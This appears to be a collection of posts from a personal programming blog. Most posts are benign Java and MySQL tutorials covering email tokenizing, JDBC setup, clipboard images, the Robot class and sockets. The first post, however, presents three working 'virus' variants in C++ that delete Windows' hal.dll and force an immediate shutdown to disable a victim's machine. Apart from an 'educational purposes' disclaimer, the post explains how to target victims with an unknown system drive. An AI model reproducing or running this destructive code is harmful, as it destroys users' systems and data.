C++ virus source code

Don't try on your computer. And this is for only educational purposes.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}

More advanced source code.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}

The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.

NOT MY WORK. I FOUND IT FROM INTERNET.

Read Text File Containing Email Addresses..

I wrote this small program to count email addresses in a text file. And to print email addresses one by one.

I use StringTokenizer class  to sort emails. You can use any character to sort out Strings.

For example, my file contains isuru@xcs.com; madusanka@qwe.com; roxniro@qwa.com... so I user ";" character to sort emails. You can use "@" character to collect user names of email addresses.

File Reader Class

import java.io.*;
import java.util.StringTokenizer;

public class FileReader {

    File file = new File("/root/Documents/emails.txt");
    StringBuffer contents = new StringBuffer();
    BufferedReader reader = null;
    String text = null;
    StringTokenizer st1;


    public void accessFile() {
        try{
             reader = new BufferedReader(new java.io.FileReader(file));
             while((text = reader.readLine()) != null){
                 st1 = new StringTokenizer(text, ";");
                 System.out.println("There are "+ st1.countTokens()+" email addresses!");
                 while(st1.hasMoreTokens()){
                     System.out.println(st1.nextToken());
                     
                 }
             }

        }catch(FileNotFoundException e){
            e.printStackTrace();
        }catch(IOException e){
            e.printStackTrace();
        }

    }

}

Main Class

/**
 *
 * @author Isuru

*/
public class EmailCounter {

    public static void main(String args[]){
        FileReader app = new FileReader();
        app.accessFile();

    }

}

Getting started JDBC in Ubuntu with MySQL

Installation of MySQL

Install mysql client, server and the jdbc connector, either via synaptic or by using the following.

sudo apt-get install mysql-server
sudo apt-get install mysql-client
sudo apt-get install libmysql-java

Set up MySQL default password 

Set up the password for the root user as 'root' or whatever you want. The last entry is the password.

mysqladmin -u <root> password <root>

Use MySQL client with Terminal


Go to Applications --> Accessories --> Terminal

Now type: sudo mysql --user=<user> --password=<password>

Create a database 


create database <leann>; //Here "leann" is the database name. Don't forget semi-colon.

User Creation and privileges


Create a user with access to that table. Replace the items in square brackets by the database name, and the chosen user and password. Don't type in the square brackets !

grant all privileges on <database>. * to <user>@localhost identified by <password>;
flush privileges;

Setting up the user to use JDBC in ubuntu

CLASSPATH=$CLASSPATH:/usr/share/java/mysql.jar
export CLASSPATH

Alternatively, you can set it for all users, by editing /etc/environment.

CLASSPATH=".:/usr/share/java/mysql.jar"

Testing in Java

import java.sql.*;
import java.util.Properties;
/**
 * https://help.ubuntu.com
 **/
public class DBDemo
{
  // The JDBC Connector Class.
  private static final String dbClassName = "com.mysql.jdbc.Driver";

  // Connection string. emotherearth is the database the program
  // is connecting to. You can include user and password after this
  // by adding (say) ?user=paulr&password=paulr. Not recommended!

  private static final String CONNECTION =
                          "jdbc:mysql://127.0.0.1/emotherearth";

  public static void main(String[] args) throws
                             ClassNotFoundException,SQLException
  {
    System.out.println(dbClassName);
    // Class.forName(xxx) loads the jdbc classes and
    // creates a drivermanager class factory
    Class.forName(dbClassName);

    // Properties for user and password. Here the user and password are both 'paulr'
    Properties p = new Properties();
    p.put("user","paulr");
    p.put("password","paulr");

    // Now try to connect
    Connection c = DriverManager.getConnection(CONNECTION,p);

    System.out.println("It works !");
    c.close();
    }
}

Copy Image From Clipboard

package isuru;

/**
 *
 * @author Isuru
 */
import java.awt.Toolkit;
import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.UnsupportedFlavorException;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import javax.imageio.ImageIO;

public class Main {

    public static void main(String[] args) {
        //Create clipboard object
        Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
        try{
            //Get data from clipboard and assign it to an image
            //clipboard.getData() returns an object, so we need to cast it to a BufferedImage
            BufferedImage image = (BufferedImage)clipboard.getData(DataFlavor.imageFlavor);

            //file that we'll save to disk
            File file = new File("image.jpg");

            /**
             * class to write image to disk. You specify the image
             * to be saved, its type, and then the file in which to write the image data.
             */

            ImageIO.write(image, "jpg", file);

        }catch(UnsupportedFlavorException ufe){
            ufe.printStackTrace();
        }
        catch(IOException ioe){
            ioe.printStackTrace();
        }
    }  

}

Found from a online forum and tested in my system.  

Java Robot Class in Java

This is a quick snap of using Robot class of Java. You can find full article on keyboard and mouse events here.

package test;

import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;

public class Main{
    public static void main(String args[]) throws AWTException
    {
        Robot robot = new Robot();

       int keyEvent[] = {
            KeyEvent.VK_H,
            KeyEvent.VK_E,
            KeyEvent.VK_L,
            KeyEvent.VK_L,
            KeyEvent.VK_O,
            
        };
       for(int i = 0; i < keyEvent.length; i++)
       {
          robot.keyPress(keyEvent[i]);
          robot.delay(1000);
       }

    }
}

Yahoo mail is down without noticing users.

Yahoo mail is down without noticing users about any scheduled maintenance. When I try to access yahoo mail, I get different kinds of error massages including LaunchFFC-1. These are the screenshots.

And is this an attack? or are they updating yahoo mail?

How to make a Socket Connection?

This program creates a socket connection to the server of atomic clock in Boulder, Colorado.

import java.io.*;
import java.net.*;
import java.util.*;

public class Main
{
    public static void main(String args[])
    {
        try
        {
            Socket time = new Socket("time-A.timefreq.bldrdoc.gov", 13);
            try
            {
                InputStream inStream = time.getInputStream();
                Scanner in = new Scanner(inStream);

                while(in.hasNext())
                {
                    String line = in.nextLine();
                    System.out.println(line);
                }
            }
            finally
            {
                time.close();
            }
        }
        catch(Exception e)
        {
            System.out.println(e);
        }
    }
}